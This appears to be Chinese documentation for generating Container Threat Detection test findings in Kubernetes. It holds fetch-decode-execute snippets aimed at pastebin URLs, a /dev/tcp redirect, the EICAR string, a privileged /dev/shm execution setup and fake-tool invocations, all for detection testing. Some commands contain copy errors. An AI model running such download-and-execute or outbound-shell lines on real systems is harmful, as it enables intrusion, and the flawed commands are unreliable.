如需触发“执行:Kubernetes 攻击工具执行”发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,将其重命名为可疑工具 (amicontained),然后执行该工具。此操作被视为可疑操作,因为它会模拟与潜在的 Kubernetes 攻击工具执行试图一致的行为

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入 Kubernetes 攻击工具二进制文件(如 amicontained)并执行该文件:

    • x86 节点:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • ARM 节点:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

此测试过程应创建一个“执行:Kubernetes 攻击工具执行”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:本地侦察工具执行

如需触发Execution: Local Reconnaissance Tool Execution发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 复制到其他位置,将其重命名为可疑工具 (linenum.sh),然后执行该工具。此操作被视为可疑操作,因为执行重命名的二进制文件会模拟与本地侦察试图一致的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 引入 linenum.sh 等本地侦察工具二进制文件并执行该文件:

    • x86 节点:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • ARM 节点:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

此测试过程应创建一个“执行:本地侦察工具执行”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:已执行恶意 Python

如需触发“执行:已执行恶意 Python”发现结果,您可以在容器中按照以下过程执行 Python。

该过程会部署最新的 Python 映像,复制似乎恶意的 Python 代码,然后执行该代码。若要触发检测,Python 代码对于检测器来说必须似乎是恶意的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此 Python 代码源自蜜罐。不过,该应用已修改,不会执行恶意二进制文件。 运行脚本不会在容器中导致恶意活动。 引用的网址中不存在二进制文件,尝试访问该网址会导致 404 错误。这是正常现象。 使用内嵌脚本试图下载、解码和执行二进制文件会触发检测。

    • x86 节点:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • ARM 节点:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

此测试过程会创建一个“执行:已执行恶意 Python”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了日志记录)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:已执行修改的恶意二进制文件

如需触发“执行:已执行修改的恶意二进制文件”发现结果,请修改容器中的恶意二进制文件并执行该文件。此示例将部署最新的 Ubuntu 24.04 映像,将 /bin/ls 修改为 EICAR 测试恶意文件,然后执行该文件。二进制文件的执行是出乎意料的,因为创建的 /bin/ls 在容器运行时修改为 EICAR 测试恶意二进制文件,而根据威胁情报,EICAR 二进制文件是一个已知的恶意文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 放入 EICAR 二进制文件并执行该文件:

    • x86 节点:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • ARM 节点:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

此测试过程应创建一个“执行:已执行修改的恶意二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已执行修改的恶意二进制文件”发现结果。如需在设置容器时查看所有“执行:已执行修改的恶意二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:容器中的 Netcat 远程代码执行

如需触发Execution: Netcat Remote Code Execution In Container事件,需要在容器内存在并执行能够进行网络通信的二进制文件(例如 netcat 本身或其他实用程序的重命名副本)。此示例将最新的 Ubuntu 24.04 映像作为基础进行部署。它会复制 /bin/ls 二进制文件,并将该副本重命名为 netcat(网络实用程序)。然后,系统会使用适合网络互动的参数执行此重命名的二进制文件。此活动会标记为可疑,因为它模仿了在容器化环境中实际试图远程执行代码时经常观察到的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 引入 netcat 等网络通信工具二进制文件,并使用适当的参数执行该二进制文件:

    • x86 节点:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      
    • ARM 节点:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      

此测试过程应创建一个Execution: Netcat Remote Code Execution In Container发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:疑似检测到远程命令执行

如需触发Execution: Possible Remote Command Execution Detected预览版)发现结果,必须在容器内观察与远程命令执行通常关联的命令或二进制文件的执行情况。此示例使用最新的 Ubuntu 24.04 映像。它会复制 /bin/ls 并将其重命名为 touch(或其他工具,例如 find)。然后,使用适合远程命令执行的参数执行此重命名的二进制文件。此行为会被标记为可疑,因为它可能表明有人试图建立对容器的未经授权的远程访问。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 使用适当的参数执行 touch 等二进制文件:

    • x86 节点:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • ARM 节点:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
      

此测试过程会创建一个Execution: Possible Remote Command Execution Detected发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:在禁止使用 HTTP 代理的环境中运行的程序

如需触发Execution: Program Run with Disallowed HTTP Proxy Env发现结果,请在容器内执行程序,并将 HTTP 代理环境变量设置为不允许的值。此示例使用最新的 Ubuntu 24.04 映像。复制了 /bin/ls 实用程序并将其重命名为 /tmp/curl。然后,系统会以对 HTTP 代理环境变量设置的不允许的值来执行此重命名的二进制文件(例如 HTTP_PROXYhttp_proxy)。程序执行和存在不允许的 HTTP 代理环境的组合会标记为可疑,因为这表明有人试图通过未经授权的代理进行通信。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 执行网络功能二进制文件(如 curl),并使用不允许的 HTTP 代理环境变量执行该文件:

    • x86 节点:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • ARM 节点:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

此测试过程应创建一个Execution: Program Run with Disallowed HTTP Proxy Env发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

执行:已加载可疑的 OpenSSL 共享对象

如需触发Execution: Suspicious OpenSSL Shared Object Loaded发现结果,请使用以 .so 扩展名结尾的文件作为参数来执行 openssl engine 命令。此示例使用最新的 Ubuntu 24.04 映像。复制了 /bin/ls 实用程序并将其重命名为 /tmp/openssl。然后,使用 engine 和虚构的 .so 文件参数执行此重命名的二进制文件。使用 .so 文件执行 openssl engine 会标记为可疑,因为它模仿了加载共享对象以执行恶意代码的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 执行网络功能二进制文件(如 curl),并使用不允许的 HTTP 代理环境变量执行该文件:

    • x86 节点:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      
    • ARM 节点:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      

此测试过程应创建一个Execution: Suspicious OpenSSL Shared Object Loaded发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

提取:在容器中启动远程文件复制工具

如需触发Exfiltration: Launch Remote File Copy Tools In Container发现结果,请在容器内执行常见的远程文件复制工具。此示例使用最新的 Ubuntu 24.04 映像。复制 /bin/ls 实用程序并将其重命名为 /tmp/rsync,然后执行该实用程序以从远程(可能为恶意)来源检索文件。如果在容器内使用远程文件检索参数执行此类工具,系统会将其标记为可疑,因为这可能表明有人试图下载和执行恶意代码或窃取数据。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 执行远程文件复制工具(如 rsync),并执行:

    • x86 节点:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • ARM 节点:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

此测试过程应创建一个Exfiltration: Launch Remote File Copy Tools In Container发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

影响:检测恶意命令行

如需触发Impact: Detect Malicious Cmdlines预览版)发现结果,必须在容器内观察到包含已知恶意模式或参数的命令行的执行情况。此示例使用最新的 Ubuntu 24.04 映像。这涉及复制 /bin/ls 二进制文件并将该副本重命名为 ipfs。然后,系统会执行已重命名的二进制文件。此行为会标记为可疑,因为它可能表明有人试图执行恶意代码或绕过安全控制。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 执行 ipfs 等二进制文件:

    • x86 节点:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • ARM 节点:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

此测试过程会创建一个Impact: Detect Malicious Cmdlines发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

影响:从磁盘中移除批量数据

如需触发Impact: Remove Bulk Data From Disk发现结果,请将能够删除或覆盖数据的二进制文件放入容器中并执行该文件。此示例使用最新的 Ubuntu 24.04 映像。这涉及复制 /bin/ls 二进制文件并将该副本重命名为 shred(或专为安全删除文件而设计的类似实用程序)。然后,系统会执行已重命名的二进制文件。此操作会标记为可疑,因为它模仿了试图从容器化环境中的磁盘中移除大量数据时经常出现的行为。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 引入文件或数据删除二进制文件(如 shred)并执行该文件:

    • x86 节点:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • ARM 节点:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

此测试过程应创建一个Impact: Remove Bulk Data From Disk发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

影响:使用 Stratum 协议的可疑加密货币挖矿活动

如需触发Impact: Suspicious crypto mining activity using the Stratum Protocol发现结果,二进制文件需要在容器内执行,且参数类似于加密货币挖矿软件使用 Stratum 协议进行通信时所用的参数。此示例使用最新的 Ubuntu 24.04 映像。它会复制 /bin/ls,并将该副本重命名为模拟二进制文件(可能是为了模拟加密货币挖矿)。然后,使用包含 stratum+tcp 或类似 Stratum 协议指示符的参数执行此重命名的二进制文件。此活动会标记为可疑,因为它模仿了容器化环境中加密货币挖矿软件的网络通信模式。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 引入 curl 等实用程序二进制文件,并使用类似于通过 Stratum 协议进行通信的加密货币挖矿软件所使用的参数来执行它:

    • x86 节点:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • ARM 节点:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

此测试过程应创建一个Impact: Suspicious crypto mining activity using the Stratum Protocol发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

您可能还会看到此测试中运行的 bash 命令的其他发现结果。这种行为是正常的,您可以忽略此额外发现结果。

已执行恶意脚本

如需触发“已执行恶意脚本”发现结果,您可以在容器中按照以下过程执行脚本。

该过程会部署最新的 Ubuntu 24.04 映像,复制一个看似恶意的脚本,然后执行该脚本。若要触发检测,脚本必须包含恶意内容才能被检测器检测到。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此内嵌 Bourne shell 脚本源自蜜罐。不过,该脚本已修改,不会执行恶意二进制文件,因此运行该脚本不会在容器中导致恶意活动。引用的网址中的二进制文件可能已被移除,试图访问该网址将导致 404 错误。这是正常现象。 使用内嵌脚本试图下载、解码和执行二进制文件会触发检测。

    • x86 节点:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • ARM 节点:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

此测试过程会创建一个“已执行恶意脚本”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

观察到恶意网址

如需触发“观察到恶意网址”发现结果,请执行二进制程序并提供恶意网址作为参数。

以下示例将部署 Ubuntu 24.04 映像并执行 /bin/curl 以从安全浏览服务访问示例恶意网址。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 执行 curl 并提供恶意网址作为参数:

    • x86 节点:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • ARM 节点:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

此测试过程会触发“观察到恶意网址”发现结果,您可以在 Security Command Center 中查看该发现结果;如果您为 Container Threat Detection 配置了 Logging,则可以在 Cloud Logging 中查看该发现结果。仅当您在组织级激活 Security Command Center 的高级层级或 Enterprise 层级时,才能在 Cloud Logging 中查看发现结果。

提升权限:/dev/shm 中的无文件执行

如需触发Privilege Escalation: Fileless Execution in /dev/shm发现结果,必须从 /dev/shm 内存中文件系统执行进程。此示例使用最新的 Ubuntu 24.04 映像。/bin/echo 实用程序会复制到 /dev/shm/echo。然后,系统会执行这个已重命名的二进制文件。在 /dev/shm 下执行文件会标记为可疑,因为它模仿了对象尝试在内存中执行的行为,以避免基于文件的检测。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 创建特权容器并打开 bash 以执行命令:

    • x86 节点:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
         "$tag" -- bash
      
    • ARM 节点:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash
      
  4. echo 复制到 /dev/shm,并使用 chmod 使其可执行

      cp /bin/echo /dev/shm
      chmod 777 /dev/shm/echo
    
  5. 重新装载 /dev/shm 以启用执行

      mount -o remount,exec /dev/shm
    
  6. /dev/shm 执行 echo

      /dev/shm/echo "Hello from /dev/shm"
    

此测试过程应创建一个Privilege Escalation: Fileless Execution in /dev/shm发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 高级层级或 Enterprise 层级后,才能在 Cloud Logging 中查看发现结果。

反向 shell

如需触发“反向 Shell”发现结果,请启动二进制文件,并将 stdin 重定向到 TCP 连接的套接字。此示例将 /bin/echo 复制到 /tmp/sh,然后启动 /tmp/sh 并重定向到 DNS 端口上的 Google 公共 DNS 8.8.8.8。运行此示例时,不会打印任何内容。为防止通过中间人 (MITM) 攻击注入任何外部代码,此示例未使用 /bin/sh 二进制文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
